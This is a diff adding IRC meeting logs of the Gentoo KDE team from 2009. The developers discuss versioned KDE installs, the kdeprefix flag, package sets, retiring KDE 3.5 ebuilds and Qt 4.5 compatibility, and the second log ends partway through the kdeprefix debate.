+21:49 <+reavertm> where are kde-misc packages installed and are they subject to versioning as well?
+21:49 <@jmbsvicetto> alexxy: They will start doing it for 4.3
+21:49 <@jmbsvicetto> reavertm: I would say /usr and yes
+21:50 <@jmbsvicetto> reavertm: Perhaps only between major versions
+21:50 <@alexxy> hmm
+21:50 <@alexxy> thats will be good
+21:50 <+reavertm> so the only thing that's to be done is switching XDG_DATA_DIRS?
+21:50 <@alexxy> they idea to add svn rev to snapshots was bad
+21:50 <@scarabeus> probably in basic
+21:50 <@scarabeus> but also adding sonames and so on
+21:50 <@scarabeus> alexxy: that is other point
+21:50 <@jmbsvicetto> alexxy: scarabeus mailed them about it
+21:50 <@scarabeus> i already sent the mail
+21:50 <@scarabeus> but get no response
+21:51 <@scarabeus> for 4 days now
+21:51 <@scarabeus> so i think we need to push it more
+21:51 <@scarabeus> where is the best place?
+21:51 <+reavertm> ok, I have a question - how is versioning binaries going to be implemented?
+21:51 <+reavertm> via symlinks or shell scripts that set proper env for them?
+21:51 <+reavertm> (scripts means overhead)
+21:52 <@jmbsvicetto> reavertm: I think we should add the version when we install
+21:52 <@jmbsvicetto> reavertm: We also need to write an eselect backend that can help manage the symlinks
+21:54 <+reavertm> with eselect env may be switched right away - just like in java-config
+21:54 <@scarabeus> btw you are planning way ahead i think, now we should think about who is willing to work on it :]
+21:54 <+wired> jmbsvicetto: you said upstream will accept patches for versioning, wouldn't that eliminate the need for env switching?
+21:54 <+reavertm> so only symlinks would be sufficient
+21:54 * jmbsvicet  puts the crown and starts delegating
+21:54 <@jmbsvicetto> ;)
+21:55 <@scarabeus> jmbsvicetto: dont look at me
+21:55 <@jmbsvicetto> wired: If we want to have both around, we'll need the 2
+21:55 <+reavertm> wired env switchig is XDG_DATA_DIRS at least
+21:55 <@scarabeus> i will be busy with the other distro patches sharing
+21:55 <@jmbsvicetto> wired: unless users are willing to run kwrite-4.1 and amarok-2, instead of kwrite and amarok
+21:55 * bonsaikit  fell asleep ...
+21:55 <+wired> if kde shipped kwrite-4.2 binary
+21:55 <@jmbsvicetto> bonsaikitten: Got that bored? :P
+21:55 <+wired> we would only need a symlink to make it run
+21:56 <@scarabeus> bonsaikitten: tell me your volte ;P
+21:56 <@jmbsvicetto> lol
+21:56 <@scarabeus> :]
+21:56 <@scarabeus> i am just curious
+21:56 <@scarabeus> he wont be included :D
+21:56 <@jmbsvicetto> wired: yes, but that's what we need eselect for
+21:56 <@bonsaikitten> I vote for freedom
+21:56 <@jmbsvicetto> scarabeus: lol -> "volte" ;)
+21:56 <@scarabeus> ah
+21:56 <@scarabeus> sdflhsdlfgksdhs
+21:56 * bonsaikit  still isn't coherent
+21:56 <+wired> jmbsvicetto: i agree, i was refering to env switching, not symlink management
+21:57 <@jmbsvicetto> wired: ok
+21:57 <+Sput> bonsaikitten: nobody was talking about voting, you are supposed to do a little volte...
+21:57 <+reavertm> I like the idea in general
+21:57 <@jmbsvicetto> reavertm: what can we do to start the work?
+21:57 <@jmbsvicetto> (since you are our cmake expert)
+21:58 <@alexxy> write module for eselect
+21:58 <@scarabeus> alexxy: that might be actualy last point
+21:58 <@bonsaikitten> Sput: re-volt-ing?
+21:58 <+reavertm> yeah, that's the magic part
+21:58 <+wired> eselect is probably the last of our issues
+21:58 <+reavertm> me expert? no..
+21:59 <@scarabeus> reavertm: yes you are our expert :]
+21:59 <+reavertm> besides I can't answer about this off the top of my head right away
+21:59 <@scarabeus> ok who is willing to work on this:
+21:59 <@scarabeus> it is more upstream than gentoo
+21:59 <@scarabeus> ?
+21:59 <@jmbsvicetto> I'll have to look at it
+22:00 <@jmbsvicetto> reavertm: can I nag you about cmake for this?
+22:00 <+reavertm> I'll look into it
+22:01 <@scarabeus> anyone else?
+22:01 <@scarabeus> *doggyeyes*
+22:01 <@scarabeus> or actualy *puppyeyes*
+22:01 <@jmbsvicetto> scarabeus: Thanks for your offer
+22:01 <@scarabeus> that sad look :]
+22:01 <@scarabeus> jmbsvicetto: i will be quite fine with patch cooperation
+22:01 <@scarabeus> :P
+22:01 * jmbsvicet  just made his first lead decision
+22:01 <@jmbsvicetto> :P
+22:01 <@scarabeus> :D
+22:01 <@alexxy> heh =)
+22:01 <@alexxy> btw
+22:01 <@scarabeus> jmbsvicetto: ok and mine lead decision is delegat
+22:02 <@scarabeus> e
+22:02 <@scarabeus> so HTs what are you doing? :P
+22:02 <@alexxy> whet will be with kde 3.5?
+22:02 <@scarabeus> alexxy: that is on tampakrap, dont worry :]
+22:02 <@tampakrap> mostly on carlo i'd say
+22:02 <@jmbsvicetto> bonsaikitten: Anyway we can use your tinderbox for helping with the testing?
+22:02 <@alexxy> there still parts of 3.5.7 3.58 3.5.9 and 3.510
+22:03 <@yngwin> i'd say drop 3.5.{7,8}
+22:03 <@yngwin> and stabilize .10 asap
+22:03 <@scarabeus> ok that is good idea
+22:03 <@scarabeus> get rid of 7.8
+22:03 <@jmbsvicetto> yeah, but we need to check arches keywords
+22:03 <@scarabeus> the arch teams has plenty time up to now to stable 3.5.9 on all needed arch
+22:03 <+reavertm> stabilize 3.5.10 with revbumping kde-misc to be installed in /usr/kde/3.5?
+22:03 <@scarabeus> yep
+22:04 <@alexxy> yep
+22:04 <@alexxy> but 3.5.8 is monolitic
+22:04 <@alexxy> last monolitic release
+22:04 <@scarabeus> that is no problem
+22:04 <@jmbsvicetto> alexxy: 3.5.9
+22:04 <@scarabeus> and 3.5.9 is mono to
+22:04 <@alexxy> so we can drop it =)
+22:04 <@jmbsvicetto> 3.5.10 was teh first release without monos
+22:05 <@jmbsvicetto> we need to check arch keywords as at least mips will probably lose all keywords
+22:05 <@scarabeus> jmbsvicetto: well since mips is only ~ and they had actualy pretty long time to do it up to now...
+22:06 <@scarabeus> but ok, lets poke them
+22:06 <@jmbsvicetto> scarabeus: let's talk to them
+22:06 <@alexxy> heh
+22:06 <@alexxy> i can test kde on ~mips
+22:06 *  reavertm  has his own 3 agenda points on the list
+22:06 <@alexxy> =)
+22:06 <@scarabeus> jmbsvicetto: actualy alexxy can do it :]
+22:06 <@scarabeus> late
+22:06 <@scarabeus> :D
+22:07 <@jmbsvicetto> alexxy: are you in the mips arch team?
+22:07 <@alexxy> seems they add me
+22:07 <@alexxy> =)
+22:07 <@alexxy> i have mips machine @work
+22:07 <@alexxy> running gentoo
+22:07 <@jmbsvicetto> Good :)
+22:07 <@alexxy> also i have premison to add arm keywords
+22:07 <@alexxy> =)
+22:08 <+wired> so our kde4 upstream patches goal is to patch cmake to build/install everything version-prefixed with version-suffixed binaries?
+22:08 <@scarabeus> alexxy: ok i delegate this point to you :]
+22:08 <@scarabeus> ok one last thing from me
+22:08 <@scarabeus> cooperating with reasonable distributions in patches sharing
+22:09 <@alexxy> jmbsvicetto: i'll test kde:4.2 on mips
+22:09 <@scarabeus> reasonable as debian for example
+22:09 <@scarabeus> not as suse
+22:09 <@hwoarang> scarabeus: like?
+22:09 <@jmbsvicetto> alexxy: ok, thanks
+22:09 <@scarabeus> hwoarang: like they have upstream and downstream patches we would like so we use them
+22:09 <+Sput> you mean: distros backporting features from 4.3 trunk to 4.1 stable are not reasonable? :)
+22:09 <@scarabeus> and in return we share our patches
+22:09 <@jmbsvicetto> scarabeus: We can work with any distro - it all depends on their work ;)
+22:09 <@scarabeus> for that i wrote this
+22:09 <@scarabeus> http://dev.gentoo.org/~scarabeus/patches-glep.html
+22:09 <@scarabeus> jmbsvicetto: i know
+22:10 <@scarabeus> but i think we should make our patches nicely accessable like debian do
+22:10 <+dagger_> I just came back home ;(
+22:10 <@scarabeus> dagger_: bad for ya :]
+22:10 <+reavertm> we use sed :P
+22:10 <+Sput> System Message: ERROR/3 (patches-glep.txt, line 65)
+22:10 <+Sput>  Unexpected indentation.
+22:10 <+Sput> coool :
+22:10 <@scarabeus> i know
+22:10 <+Sput> :)
+22:10 <@scarabeus> it is not finished
+22:11 <@scarabeus> christ why i showed it to you
+22:11 <@scarabeus> i thought that somebody start complaining
+22:11 <+Sput> :D
+22:11 <@scarabeus> notes for this one will be accepted on my mail for now
+22:11 <@scarabeus> until i get it into some reasonable shape for anouncing
+22:12 <@hwoarang> your abstract idea is quite resonable
+22:12 <@hwoarang> have you talked about this with other distro dudes?
+22:12 <@tampakrap> we had a small chat with a debian-kde guy at fosdem
+22:12 <@scarabeus> yep i talked with kde
+22:12 <@scarabeus> debina
+22:12 <@scarabeus> craaap
+22:13 <@jmbsvicetto> scarabeus: You'll want to talk to infra and security teams about your proposal
+22:13 <@scarabeus> yes i will do it
+22:13 <@scarabeus> when i finish it
+22:13 <@scarabeus> :P
+22:13 <@jmbsvicetto> hehe
+22:13 <@scarabeus> i dont want to come there with my hands empty
+22:13 <@scarabeus> i would feel lame
+22:14 <@scarabeus> so you know that i am on this one
+22:14 <@scarabeus> that is everything from my side
+22:14 <@scarabeus> anyone what do you have to discuss
+22:14 <@jmbsvicetto> scarabeus: Did we cover all business in the agenda?
+22:15 <@scarabeus> the things i pointed out
+22:15 <@scarabeus> but this month i didnt get notes from others
+22:15 <@scarabeus> (short time)
+22:15 <+reavertm> ok... pykde4?
+22:15 <@scarabeus> that is why i ask now
+22:15 <@scarabeus> that bonsaikitten said that he will look on it
+22:15 <@scarabeus> last meeting
+22:15 <@scarabeus> :D
+22:15 <+reavertm> that's the problem :)
+22:16 <+reavertm> ok, another one
+22:16 <+reavertm> what about non-SLOTted sets?
+22:16 <@alexxy> btw
+22:16 <@alexxy> when sets will be added to tree?
+22:16 <+reavertm> I'd propose to remove them or made symlinks -> @kdebase -> @kdebase-4.2 and so on
+22:17 <@tampakrap> are the symlinks valid?
+22:17 <+reavertm> because unSLOTtted sets pulll all versions from every SLOT
+22:17 <+reavertm> (in overlay)
+22:17 <+reavertm> alexxy no
+22:17 <+reavertm> never :)
+22:17 <+reavertm> tampakrap why they coudn't be?
+22:17 <@scarabeus> reavertm: good idea
+22:18 <@jmbsvicetto> alexxy: That needs more time
+22:18 <@jmbsvicetto> alexxy: we need to get an agreement about it
+22:18 <@alexxy> ohh
+22:18 <@alexxy> =(
+22:18 <@tampakrap> reavertm: i don't know, i'm just asking :)
+22:18 <@scarabeus> tampakrap: it works
+22:18 <@yngwin> i guess that means at least waiting till portage 2.2.0 final release
+22:18 <@jmbsvicetto> reavertm: the unversioned set should match the last version
+22:19 <@tampakrap> last version of portage kde or of snapshots?
+22:19 <+reavertm> yes
+22:19 <@jmbsvicetto> reavertm: wait, you want them to have slotted deps? They can't
+22:19 <+reavertm> those would be symlinks to latest set (but versioned one)
+22:19 <+reavertm> jmbsvicetto it simplyfies upgrade
+22:19 <@alexxy> yep
+22:20 <+reavertm> I want unslotted sets to be removed or changed to symlinks to corresponding slotted sets
+22:20 <@jmbsvicetto> reavertm: The unversioned deps should match the last version with sed s/:.*$//
+22:20 <@alexxy> but unversioned sets should point to latest in tree slot
+22:21 <@jmbsvicetto> reavertm: We need/want users to run the unversioned sets for installing - thus it can't have slotted deps
+22:21 <+reavertm> jmbsvicetto wait wait
+22:21 <+reavertm> there would be @kdebase set - the only difference would be, it would be symlink to @kdebase-4.2
+22:22 <@jmbsvicetto> reavertm: but that would mean it would have a kdebase-startkde:4.2 dep
+22:22 <@tampakrap> aka latest portage version
+22:22 <+reavertm> how are deps related?
+22:22 <@jmbsvicetto> reavertm: I'm thinking :P
+22:22 <+reavertm> they would be symlinks to latest portage version
+22:23 <@jmbsvicetto> reavertm: I understand what you're trying to do. It might be the easiest option and it might even work
+22:23 <+reavertm> (just like they are now) - but with SLOT definition so that we actually pull only that slot
+22:23 < Enrico[ITA]> hi guys! if here there is some dev of kde-testing overlay there are some missing deps in kde-3.5.keywords file: kde-base/kde-i18n:3.5    ~kde-base/dcoppython-3.5.10   (and app-pda/libopensync but this is not part of kde ^^)
+22:23 <@jmbsvicetto> Enrico[ITA]: we're in the middle of a meeting. Stick around and we can talk about it later
+22:24 <@jmbsvicetto> reavertm: ok, I think I can live with it
+22:24 <@tampakrap> i agree with that too
+22:24 <+reavertm> jmbsvicetto well, it doesn't change anything from user perspective
+22:24 <@jmbsvicetto> reavertm: my concern was that we might be restricting users to a specific slot
+22:24 < Enrico[ITA]> jmbsvicetto: oh don't warry it is not a huge issue ^^. but ok i can wait no problem ^^
+22:24 <@scarabeus> yeah it should work
+22:24 <@scarabeus> jmbsvicetto: that should be working correctly
+22:25 <@scarabeus> the update with this
+22:25 <@scarabeus> iirc the behavior portage does
+22:25 <+reavertm> well, we would be responsible for managing those symlinks in overlay
+22:25 <@jmbsvicetto> reavertm / scarabeus: yes, I see it should work
+22:25 <@jmbsvicetto> reavertm: hmm, I do hope to get those sets in the tree - one day, one day
+22:26 <@jmbsvicetto> reavertm: actually, if/when zmedico gets to re-work the sets, we might just have unversioned sets
+22:26 <+reavertm> yeah
+22:26 < Enrico[ITA]> well since you are in the middle of a meeting think about mark kde 3.5.10 as stable (and maybe even kde4.2!!!!) well i'm just kidding don't ban me ihihihi :P
+22:26 <@jmbsvicetto> reavertm: or we would, if upstream stopped playing with moving apps between tarballs and renaming apps
+22:26 < Enrico[ITA]> i don't speak no more promise ^^
+22:27 <+reavertm> well, it's up to us how we split packagees jmbsvicetto :)
+22:27 *  reavertm  likes good refactoring
+22:27 <@jmbsvicetto> reavertm: we'll have to follow the work being done for 4.3
+22:27 <@jmbsvicetto> :)
+22:28 <@tampakrap> that's why snapshots and :live are :)
+22:28 <@tampakrap> we were following 4.2 pretty well if you recall
+22:28 <@jmbsvicetto> yes, but they're talking about splitting packages for 4.3
+22:29 <@jmbsvicetto> They seem willing to break apps, but not libs
+22:29 <@jmbsvicetto> I think we should probably rethink the way we split libs and kdebase-runtime/kdebase-workspace
+22:29 <@alexxy> why?
+22:29 <@tampakrap> so what? i rebuild live every two days i follow changes
+22:30 <@jmbsvicetto> alexxy: we probably don't need to split it up so much
+22:30 <+reavertm> probably
+22:30 <@alexxy> well i think current split are pretty well =)
+22:30 <+reavertm> I'd vote for debian-like splitting scheme
+22:31 <+reavertm> they split kdepim completely (like we do) but kdebase-workspace /runtime not that much
+22:31 <@alexxy> reavertm: what it looks like?
+22:31 <@tampakrap> ok i'll have a look at this
+22:31 <+reavertm> (as those apps need to be installed for kde to work anyway)
+22:31 <+reavertm> (they split plasma from kdelibs - for now reason whatsoever)
+22:32 <@alexxy> hmmm
+22:33 <+reavertm> ok, and I have another idea - drop kdepimlibs from DEPEND in eclass
+22:33 <@alexxy> last time i take a look at debian it was using kde 2.x or 1.x dont remember
+22:33 <+reavertm> I made alittle research and there are just some components that actually need it
+22:34 <+reavertm> and plenty of people crying aabout mysql deps (akonadi server is pulled by kdepimlibs)
+22:34 <+reavertm> alexxy well... you can look at Kubuntu...
+22:34 <@jmbsvicetto> reavertm: seems like aseigo was willing to split plasma from kdelibs too
+22:34 <+reavertm> it's debian afterall
+22:34 <@tampakrap> upstream is going to import other dbs as well
+22:34 <+reavertm> tampakrap any evidence?
+22:34 <@jmbsvicetto> reavertm: if we can drop it, we should
+22:34 <@tampakrap> fosdem talks :)
+22:34 <@jmbsvicetto> (kdepimlibs)
+22:34 <+reavertm> apart tahat techbase article saying that itis possible to implement but not planned?
+22:35 <@jmbsvicetto> tampakrap: s/import/support/ ?
+22:35 <+reavertm> jmbsvicetto yeah, we can
+22:35 <+reavertm> I've made a list for kde-base stuff that needs it (I was grepping KdepimLibs in cmakelistx.txt in tarballs
+22:36 <@jmbsvicetto> reavertm: ok, I'll look at it
+22:36 <+reavertm> jmbsvicetto no, you "encourage" kitten to take care of pykde4 :)
+22:36 <@jmbsvicetto> hehe
+22:37 * jmbsvicet  picks up the whip and calls for bonsaikitten
+22:37 <@jmbsvicetto> kitten, kitten
+22:38 <@scarabeus> :D
+22:38 <@scarabeus> ouka i am back
+22:38 <@scarabeus> what i sleft
+22:38 <@scarabeus> (sorry i feel really dizzy today)
+22:39 <+MrRat> reavertm: yes more db support is coming for akonadi
+22:39 <+MrRat> http://techbase.kde.org/Projects/PIM/Akonadi#Akonadi_FAQ
+22:40 <@jmbsvicetto> What are we still missing for today?
+22:40 <+MrRat> a crazy hack at fixing amarok2 for qt-4.5
+22:40 <@tampakrap> yes, me and scarabeus saw it at fosdem talk of the debian kde packager
+22:41 <@scarabeus> jmbsvicetto: i dont know
+22:41 <@scarabeus> i dont  have anything for adding
+22:41 <@scarabeus> anyone else something?
+22:41 <@ hwoarang> yngwin do we have something to add?
+22:42 <@scarabeus> hwoarang, yngwin: actualy you two could you test qt-4.5 on kde-4.2 and spread patches? :]
+22:42 <@ yngwin|2> kde4 doesnt work here
+22:42 <@tampakrap> y?
+22:42 <@hwoarang> works here though
+22:43 <@hwoarang> scarabeus who this thing gonna work?
+22:43 <@alexxy> http://dpaste.com/119912/
+22:43 <@hwoarang> gentoo qt <-> gentoo kde <-> kde upstream
+22:43 <@alexxy> list of kde-3.5.[45678] ebuilds
+22:43 <+wired> i can help on qt4.5/kde4.2 testing :)
+22:43 <@hwoarang> we need to CC kde@gentoo.org on every kde4+qt4-5 related issue
+22:43 <@   alexxy> yngwin: hwoarang: plasma segfaults with qt 4.5 if you dont recompile it
+22:44 <@alexxy> same for knotify
+22:44 <@hwoarang> there is a topic on kde forums
+22:44 <@hwoarang> kde-4.2+qt-4.5
+22:44 <@tampakrap> recompile qt or knotify?
+22:44 <@alexxy> so you two should add it to ewarn
+22:44 <@hwoarang> maybe it will be good to monitor it
+22:44 <@alexxy> recompile knotify and plasma-workspace
+22:45 <@hwoarang> alexxy: we need to narrow down what should be rebuild
+22:45 <@hwoarang> if something fails
+22:45 <+reavertm> I guess I'm out of ideas for today as well
+22:45 <@hwoarang> and i think that our ewarn message is quite clean
+22:45 <@hwoarang> "if something fails, rebuild it"
+22:45 <@alexxy> yep
+22:45 <@jmbsvicetto> alexxy: the kde packages segfault after qt upgrade is an old issue
+22:45 <@tampakrap> are these talks still on the meeting?
+22:45 <@alexxy> but you only mention kdelibs
+22:45 <@hwoarang> this is what every qt package states on pkg_postinst
+22:45 <@alexxy> =)
+22:46 <@alexxy> jmbsvicetto: i know
+22:46 <@hwoarang> if this solution is valid i ll add it
+22:46 <@alexxy> but for 3.5 only kdelibs was needed to be recompiled
+22:46 <@hwoarang> but there is a report on forums that libplasma+ plasma-workspace didn solve it
+22:46 <@alexxy> for 4.2  its at least kdelibs and plasma-workspace
+22:47 <+MrRat> if sets were in portage an @kde-4.2 would solve it
+22:47 <+MrRat> :P
+22:47 <@alexxy> he he
+22:47 <@hwoarang> so , from my part i ll CC kde@g.o alias on every mixed kde4+qt4.5 bug
+22:47 <@hwoarang> to work it together
+22:47 <@scarabeus> http://pastebin.ca/1335397
+22:48 <@scarabeus> reformat add on cvs
+22:48 <@hwoarang> i wish i could do it on bugs.kde.org too
+22:48 <@scarabeus> i am sick and going to sleep
+22:48 <@scarabeus> i hope i wont be needed today anymore
+22:48 <@tampakrap> i guess meeting is over
+22:49 <@jmbsvicetto> scarabeus: You should end the meeting then ;)
+22:49 <@jmbsvicetto> hwoarang: what are you missing in bgo ?
+22:49 <@tampakrap> you are the leader
+22:49 <@hwoarang> mmm
+22:49 <@jmbsvicetto> ah, bko
+22:50 <@hwoarang> every time i try to add a gentoo alias
+22:50 <@hwoarang> it slaps me
+22:50 <@hwoarang> ah
+22:50 * jmbsvicet  puts the hat and officialy ends the meeting
+22:50 <@hwoarang> no on bgo
+22:50 <@hwoarang> on bugs.kde.org
+22:50 <@jmbsvicetto> yeah, I noticed it after I asked
+22:50 <@jmbsvicetto> scarabeus: just one issue before you go, if you have 2 minutes
+22:52 <@scarabeus> ook
+22:53 <@scarabeus> listening
+22:53 < arachnist> so, since the meeting has ended
+22:53 < arachnist> is there a nice, working networkmanager plasmoid for kde-4.2? :>
+22:53 < arachnist> preferably with an ebuild
+22:54 <@jmbsvicetto> scarabeus: About the meetings, do you want me to start doing the preparation work or would you be willing to keep doing it?
+22:54 <@scarabeus> i am willing to keep doing it if you want :]
+22:54 <@jmbsvicetto> scarabeus: You've been doing a great job and I don't want to take away that pleasure from you ;)
+22:54 <@jmbsvicetto> scarabeus: thanks
+22:54 <@scarabeus> it is not pleasure ;D
+22:54 <@scarabeus> but i will do it
+22:54 <@jmbsvicetto> Hehe
+22:54 <@scarabeus> since nobody else wants to do it :]
+22:55 <@jmbsvicetto> ok, meeting in 1 month?
+22:55 <@scarabeus> arachnist: there is networkmanager-applet-9999 in kde-testing
+22:55 <@jmbsvicetto> I think we should review the date as I missed the council meeting today :\
+22:55 <+MrRat> arachnist: networkmanager-applet ebuild is in kde-testing, but in short, networkmanager nor the applet work well.
+22:56 <+MrRat> arachnist: use wicd
+22:56 < arachnist> wicd?
+22:56 <+MrRat> yes
+22:56 < arachnist> it needs gtk
+22:56 <@scarabeus> yup 1 per month
+22:56 <@scarabeus> feel free to change the date
+22:56 < arachnist> there;s a reason i have gtk+ in package mask
+22:56 < Pesa> may i ask if you could remove the new hard dep on qt-phonon for Qt 4.5, making it optional?
+22:56 <@scarabeus> i just randomly picked
+22:56 < arachnist> there's*
+22:56 <+MrRat> wicd works great and you can start wicd-client in kde4's ststem settings autostart and it works great
+22:57 <@jmbsvicetto> scarabeus: ok
+22:57 < arachnist> not a very valid one, but there is ;>
+22:57 <@jmbsvicetto> scarabeus: I think we might opt for the 1st Thursday of the month
+22:57 <@jmbsvicetto> I'll ask in the alias/ml
+22:57 <@scarabeus> that is already in there or not?
+22:57 <@scarabeus> :D
+22:57 <@jmbsvicetto> ok, I'm going to eat something
+22:58 <@yngwin> Pesa: there is no hard dep on qt-phonon
+22:58 <@scarabeus> on the first Wednesday/Thursday of every month at 19:00 UTC
+22:58 <@scarabeus> indeed i wrote this ;}
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090401.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090401.txt
new file mode 100644
index 00000000..0c83346f
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090401.txt
@@ -0,0 +1,601 @@
+21:01 <@scarabeus> hey
+21:01 <@scarabeus> now we can start
+21:01 <@jmbsvicetto> I'm out of here. See you later :P
+21:02 <@alexxy> jmbsvicetto: stay here =)
+21:02 <@scarabeus> hehe
+21:02 <@scarabeus> !herd kde
+21:02 < Willikins> (kde) alexxy, caleb, carlo, cryos, deathwing00, genstef, jmbsvicetto, keytoaster, mattepiu, patrick, scarabeus, tampakrap, tgurr
+21:02 <@scarabeus> krytzz: reavertm Sput wired 
+21:02 <@scarabeus> ausing again
+21:02 <@scarabeus> meeting time
+21:03 <+krytzz> aye
+21:03  * tampakrap is here
+21:03 <@cryos|work> That was an hour ago wasn't it? I thought we were done :P
+21:03  * jmbsvicetto agrees
+21:03 <@scarabeus> :D
+21:03  * alexxy here or there like a psi^2
+21:04 <@scarabeus> bonsaikitten: dont hide, i saw ya
+21:04 -!- jmbsvicetto changed the topic of #gentoo-kde to: Official Gentoo KDE Project channel | Next Meeting^Wamarok party: Wednesday April 1st 19:00 UTC | KDE 4 guide: http://tinyurl.com/4n47v4 | Overlays: kde-testing, qting-edge | Want to help us? Ask channel staff for info | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | Want to test KDE4 on a kvm? http://tinyurl.com/by7tv3
+21:04 <@scarabeus> !herd qt
+21:04 < Willikins> scarabeus: (qt) caleb, carlo, hwoarang, yngwin
+21:04  * jmbsvicetto starts jumping around
+21:04 <@jmbsvicetto> scarabeus: ok, ok. I'll behave ;)
+21:04 <@hwoarang> im here
+21:04  * hwoarang GOGO GREEEEEEEEEEEEEECE
+21:04 <@scarabeus> jmbsvicetto: well you are the lead, you do the example for us :D
+21:05 <@scarabeus> remember we store meeting logs tho :D
+21:05 <@tampakrap> i think we shouldn't this time
+21:05 <@scarabeus> hehe
+21:05 <+reavertm> ok...
+21:05 <@scarabeus> reavertm: you are first on list
+21:05 <@scarabeus> so speak up
+21:06 <@scarabeus> :D
+21:06 <+reavertm> so, kdeprefix
+21:06 <@scarabeus> http://www.pastebin.cz:80/16911
+21:06 <+reavertm> the idea is ... to drop it :)
+21:06 <@scarabeus> (list for others)
+21:06  * wired back
+21:06 <@alexxy> or mask kdeprefix useflag
+21:06 <@alexxy> =)
+21:06 <+reavertm> (from non kde-base)
+21:06 <@tampakrap> i agree
+21:07 <+reavertm> I already started to play in dropped-kdeprefix-on-non-kde-base branch if anyone is interested
+21:07 <@alexxy> may be better to mask it for all packages
+21:07 <+reavertm> in the process I rewritten kde4 eclass
+21:07 <@alexxy> so people who realy want could unmask it
+21:07 -!- spitfire_ [n=quassel@ackz136.neoplus.adsl.tpnet.pl] has joined #gentoo-kde
+21:07 <+reavertm> important changes are:
+21:07 <@scarabeus> alexxy: nah i prefer nonkdeprefix, it is better
+21:08 <@scarabeus> alexxy: less thins to worry about
+21:08 <+reavertm> NEED_KDE deprecated in favor of KDE_REQUIRED and KDE_MINIMAL (the latter already there)
+21:08 <+wired> scarabeus++
+21:08 <@alexxy> scarabeus: i use -kdeprefix too 
+21:08 <@alexxy> so we can mask kdeprefix use flag for tree packages
+21:08 <@tampakrap> if we mask it, we somehow still provide support for it, something that i don't want
+21:08 <@cryos|work> I use -kdeprefix too, but I think it would be nice to keep it as an option that can be unmasked. It has its uses, I just don't think it is for general consumption...
+21:08 <@alexxy> so people who want install 4.2 4.3 and live together can unmask it
+21:09 <+reavertm> my eclass drops kdeprefix from non-kde-base
+21:09 <@scarabeus> alexxy: the part for non-kde-base
+21:09 <@scarabeus> not for base kde
+21:09 <@scarabeus> :D
+21:09 <+reavertm> do you even read me?
+21:09 <@scarabeus> we are not removing the flags from kdebase/*
+21:09 <@scarabeus> :D
+21:09 <@cryos|work> Is there a way to hack it back in for non-kde-base if you don't care about support?
+21:09 <@tampakrap> everybody stop typing until reavertm finishes his words please
+21:09 <@scarabeus> cryos|work: narp
+21:10 <@scarabeus> for the eclass i already read it and i think it is much cleaner, specialy no "get_latest_kdedir"
+21:10 <@cryos|work> I work on several packages where I would like trunk and release. I could locally hack it, but the current situation is useful even if not supporte.d
+21:10 <+reavertm> RPATH solves possible linking issues
+21:10 <@scarabeus> well we droped mostly live slot for packages
+21:10 <@scarabeus> cryos|work: buty you can allways override prefix so it shoudl be no prob
+21:11 <+reavertm> now packages are built not agains newest available KDE (if more installed) but with the oldest - yet respecting KDE_MINIMIAL
+21:11 <@cryos|work> Seems a shame, but I can maintain custom ebuilds for the few I work on.
+21:11 <+reavertm> scarabeus: all live slots dropped
+21:12 <@jmbsvicetto> hmm, scarabeus / reavertm drop kdeprefix for non-live, right?
+21:12 <@scarabeus> for everything
+21:12 <@jmbsvicetto> scarabeus / reavertm: !kde-base live apps should install under /usr/kde/live
+21:13  * cryos|work thought that too...
+21:13 <+reavertm> /usr/kde/live is KDE release dir and should not contain any 3rd party apps imho
+21:13 <@scarabeus> that wont run for pple that install live misc apps for 4.2 in example
+21:13 <@alexxy> jmbsvicetto: no =)
+21:13 <@jmbsvicetto> We've been talking about this for a long time. all live ebuilds should go under /usr/kde/live
+21:13 <@scarabeus> i use lots of live apps
+21:13 <+reavertm> how aboyut accessing those live packages from kde 4.2 ?
+21:13  * alexxy also use kile amarok and k3b
+21:13 <@alexxy> with 4.2 and 4.3 snapshots
+21:14 <@alexxy> so i dont like idea of dropping kdeprefix for misk apps
+21:14 <@jmbsvicetto> If we use the KDE_MINIMAL it should work, no?
+21:14 <@cryos|work> So you are dropping any support for installing/building live apps against live KDE builds?
+21:14 <@alexxy> in way as jmbsvicetto said
+21:14 -!- [DWSR] is now known as DWSR
+21:14 <+reavertm> how is dropping kdeprefix from live packages related to not being able to use them with 4.2 ?
+21:14 <@scarabeus> cryos|work: so you think live should be special case...
+21:15 <@scarabeus> reavertm: well it can be done so live is special enviroment
+21:15 <@alexxy> i think better to mask kdeprefix use flag for all kde in tree
+21:15 <@scarabeus> and we can just not bother for it
+21:15 <@jmbsvicetto> scarabeus: That's why live doesn't fit in SLOTS ;)
+21:15 <@cryos|work> scarabeus: I always have, but I tend to work with live and do development, but want a stable desktop for work...
+21:15 <@alexxy> so people who want eg 4.2 and live togther can deal with it
+21:16 <@scarabeus> alexxy: current approach is broken
+21:16 <+reavertm> I use 4.2 and live non-kde-base stuff
+21:16 <@scarabeus> i srsly fear next major release
+21:16 <@jmbsvicetto> ok, let's try something different
+21:16 <@jmbsvicetto> The point of having kdeprefix was to allow running more than 1 version at the same time
+21:16 <@cryos|work> I guess for people with live KDE, and live misc apps built against 4.2 things would likely still work though.
+21:16 <@scarabeus> eys that is maintained
+21:16 <+reavertm> jmbsvicetto: be more precise
+21:16 <+reavertm> more than one version of what?
+21:17 <+reavertm> KDE release or any package?
+21:17 <@jmbsvicetto> With the exception of live (imo) which should be under /usr/kde/live - the real solution for that is to change the kde build system and have all versions under /usr
+21:17 <@cryos|work> KDE, but are you really trying to separate packages that build against it?
+21:17 <@scarabeus> well it is like kde3
+21:17 <@scarabeus> cryos|work: 
+21:17 <@jmbsvicetto> reavertm: more than one KDE release
+21:17 -!- non7top [n=non7top@94.77.134.21] has joined #gentoo-kde
+21:17 <+reavertm> and you'll still have it :P
+21:18 <@cryos|work> OK - I will stay quiet. I am really busy today anyway and have not been on IRC for weeks....
+21:18 < spitfire_> cryos|work: no it doesn't always work. I had quassel built against 4.2 and it didn;t run in live complaining about missing symbols in oxygen.so.
+21:18 <@jmbsvicetto> The point is whether anyone is willing to start the work
+21:18 <@jmbsvicetto> I haven't looked at that yet
+21:18 <+reavertm> spitfire_: 
+21:18 <+reavertm> nop
